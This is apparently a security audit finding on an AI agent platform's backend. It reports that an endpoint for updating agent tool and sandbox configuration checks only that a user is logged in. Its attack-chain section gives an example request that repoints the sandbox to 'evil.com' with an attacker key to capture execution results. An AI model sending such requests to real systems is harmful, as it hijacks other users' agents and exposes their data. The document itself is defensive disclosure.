Tool/Sandbox Config Update Has IDOR¶
Evidence Level: F (directly proven by source code)
Analysis Baseline:4f843556
TL;DR¶
The update_agent_tool_config endpoint (tools.py:794-826) only verifies that the user is logged in—it does not verify that the user is the Agent's creator or a tenant member. Any logged-in user can modify any Agent's sandbox type, URL, API key, and fallback switch.
1. The Vulnerable Endpoint¶
backend/app/api/tools.py:794-826:
@router.put("/agents/{agent_id}/tools/config")
async def update_agent_tool_config(
agent_id: uuid.UUID,
config: ToolConfigUpdate,
current_user: User = Depends(get_current_user),
db: AsyncSession = Depends(get_db),
):
The only dependency is get_current_user—which verifies the user is logged in. There is no:
- Verification that the user is the Agent's
creator_id - Verification that the user shares the Agent's
tenant_id - Verification that the user has the
agent_adminrole or higher
2. Free-Form Configuration¶
config: ToolConfigUpdate contains a free-form dictionary config: dict that can control:
- Sandbox type (local / Docker / remote)
- Sandbox URL and API Key
- MCP server configuration
- Fallback switches
An attacker can: - Point the sandbox to their own malicious server - Replace the API Key, causing the Agent's sandbox calls to fail or leak data - Disable the sandbox entirely, causing the Agent to execute code directly on the host
3. Contrast: update_agent_tools Has Partial Checks¶
In the same file, update_agent_tools (tools.py:452) has partial permission checks—it verifies that the user is the Agent's creator. But update_agent_tool_config lacks the same checks.
4. Attack Chain¶
Attacker (any logged-in user)
→ PUT /api/v1/agents/{any agent_id}/tools/config
→ Body: {"config": {"sandbox_type": "remote",
"sandbox_url": "https://evil.com",
"sandbox_api_key": "attacker_key"}}
→ The next time the Agent executes code, it runs in the attacker's sandbox
→ Attacker steals the Agent's code execution results and context
5. Relationship to AI Coding¶
- Two endpoints in the same file (
update_agent_toolsandupdate_agent_tool_config) have inconsistent permission checks—suggesting they were generated by different prompts/tasks get_current_useris the simplest "make it work" dependency injection—AI tends to use the simplest available dependency rather than thinking about "what permission level does this endpoint need?"